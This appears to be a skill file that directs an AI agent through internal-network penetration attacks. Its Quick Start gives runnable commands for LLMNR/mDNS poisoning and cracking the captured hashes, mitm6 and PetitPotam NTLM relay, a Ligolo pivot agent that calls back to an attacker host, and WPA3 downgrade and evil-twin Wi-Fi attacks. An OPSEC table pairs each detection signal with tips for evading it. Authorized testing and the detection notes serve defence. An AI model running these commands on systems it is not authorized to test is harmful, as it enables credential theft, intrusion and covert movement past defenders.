Network Attack & Lateral Movement

When to Activate

• Internal network pentest from an unauthenticated wire position or initial foothold
• Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
• Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
• Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
• Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
• Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
• Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
• For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and ticket/DCSync work, hand off to active-directory-attack.

Technique Map

Technique	ATT&CK	CWE	Reference	Script
LLMNR/NBT-NS/mDNS poisoning (Responder)	T1557.001	CWE-300	references/l2-attacks.md	scripts/responder_loot_parser.py
ARP spoofing MitM	T1557.002	CWE-300	references/l2-attacks.md	scripts/bettercap_mitm.sh
DHCP starvation / rogue DHCP	T1557.003	CWE-300	references/l2-attacks.md	-
IPv6 takeover (mitm6 DHCPv6/DNS → relay)	T1557.001	CWE-300	references/l2-attacks.md	scripts/mitm6_relay_launcher.sh
STP root hijack / VLAN hopping (DTP, 802.1Q)	T1599	CWE-284	references/l2-attacks.md	scripts/vlan_hop.py
Coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV)	T1187	CWE-294	references/coercion-relay-network.md	scripts/relay_target_finder.py
NTLM relay (SMB/MSSQL/WinRM)	T1557.001	CWE-294	references/coercion-relay-network.md	scripts/relay_target_finder.py
NTLM reflection → SYSTEM (CVE-2025-33073)	T1187, T1557.001	CWE-287	references/coercion-relay-network.md	scripts/relay_target_finder.py
TUN pivoting (Ligolo-ng autoroute/multiplayer)	T1090.001	CWE-923	references/pivoting-tunneling.md	scripts/pivot_autoroute.sh
HTTP-SOCKS tunnel (Chisel) / SSH pivot	T1090.001, T1572	CWE-923	references/pivoting-tunneling.md	scripts/pivot_autoroute.sh
DNS tunneling (iodine/dnscat2)	T1071.004, T1572	CWE-923	references/pivoting-tunneling.md	-
Traffic interception / sslstrip / DNS spoof	T1557, T1040	CWE-319	references/mitm-interception.md	scripts/bettercap_mitm.sh
RDP/SSH/STARTTLS MitM & downgrade	T1557, T1185	CWE-300	references/mitm-interception.md	scripts/bettercap_mitm.sh
MadLicense RDL RCE (CVE-2024-38077)	T1210	CWE-122	references/protocol-rce.md	scripts/net_service_scan.py
NEGOEX wormable RCE (CVE-2025-47981)	T1210	CWE-122	references/protocol-rce.md	scripts/net_service_scan.py
RMCAST RCE (CVE-2025-21307) / RDS (CVE-2025-24035/45)	T1210	CWE-787	references/protocol-rce.md	scripts/net_service_scan.py
SMB EternalBlue (MS17-010) legacy	T1210	CWE-119	references/protocol-rce.md	scripts/net_service_scan.py
MSSQL xp_cmdshell / link crawl, WinRM, LDAP passback	T1210, T1021.006	CWE-89	references/protocol-rce.md	scripts/net_service_scan.py
WPA2 handshake/PMKID crack	T1110	CWE-326	references/wireless-attacks.md	scripts/wifi_attack.sh
WPA3-Transition downgrade (Dragonblood)	T1557	CWE-757	references/wireless-attacks.md	scripts/wifi_attack.sh
Evil-twin WPA-Enterprise (802.1X) cred capture	T1556	CWE-295	references/wireless-attacks.md	scripts/wifi_attack.sh
KRACK key-reinstallation (CVE-2017-13077..88)	T1557	CWE-323	references/wireless-attacks.md	-
FragAttacks (CVE-2020-24586/87/88)	T1040	CWE-345	references/wireless-attacks.md	-
WPS pixie-dust / online PIN brute	T1110	CWE-330	references/wireless-attacks.md	-

Quick Start

# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

Technique	Telemetry / IOC	Detection (Sigma / EDR)	OPSEC note
LLMNR/NBT-NS/mDNS poison	one host answers many names; 4624/4625 type-3 burst to a workstation	Sigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO	-A is silent; full mode answers everything — scope tight
mitm6 IPv6 takeover	rogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer add	Zeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guard	very loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD
ARP/DNS spoof MitM	dup-MAC, gateway MAC change, rogue DNS answers	DAI, arpwatch, DNS-source allowlist	half-duplex cuts ARP volume; restore tables on exit; HSTS breaks sslstrip
Coercion + relay	EFSR/RPRN/DFSNM RPC; SMB→service from odd host	RPC Filter logs; signing:False target enumeration	coercion is "by-design"; needs signing/EPA off; SMB signing kills it
NTLM reflection (CVE-2025-33073)	4624/4648 NTLM logon to self; new AD DNS A record + coercion	Sigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch)	needs signing:False; delete crafted DNS record; patch+signing both fix
Ligolo/Chisel/SSH pivot	long-lived single TLS to ext IP; reverse listeners on pivot	NDR JA3/JA4 on Go TLS; beacon/-retry; binary on disk	run proxy on 443 to blend; rename agent; no admin needed on target
DNS tunneling	high-volume long random subdomains; high TXT/NULL ratio	NDR DNS-tunnel entropy/length analytics	throttle/jitter; A/CNAME over TXT; exfil small data only
Service RCE (MadLicense/NEGOEX/EternalBlue)	service crash/restart (SCM 7031); scanner fan-out 445/3389/1688	crash telemetry; patch level; NSE smb-vuln	memory-corruption = DoS risk; never spray wormable; lab-validate, sign-off
WPA2/PMKID capture	deauth mgmt flood (handshake); PMKID passive	WIDS deauth alerts; 802.11w/MFP blocks deauth	prefer passive PMKID; short targeted deauth bursts
WPA3-Transition downgrade	2nd BSSID for SSID; PSK+SAE+MFP-off advertised	WIPS rogue-AP; Transition-Disable bit	rogue AP beacons continuously — minimize on-air; WPA3-only+MFP defeats
Evil-twin 802.1X	rogue BSSID; RADIUS server-cert mismatch	WIPS; client server-cert validation	relies on supplicants not validating cert; EAP-TLS defeats

Deep Dives

• references/l2-attacks.md — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).
• references/coercion-relay-network.md — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, CVE-2025-33073 NTLM reflection → SYSTEM. Hands AD targets to active-directory-attack.
• references/pivoting-tunneling.md — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH -D/-J, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.
• references/mitm-interception.md — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.
• references/protocol-rce.md — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.
• references/wireless-attacks.md — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, KRACK key-reinstallation, FragAttacks, WPS pixie-dust/online PIN brute, hashcat workflows. For non-Wi-Fi radio (Bluetooth/BLE, Zigbee, Z-Wave, LoRaWAN/Sub-GHz) see the wireless-rf skill.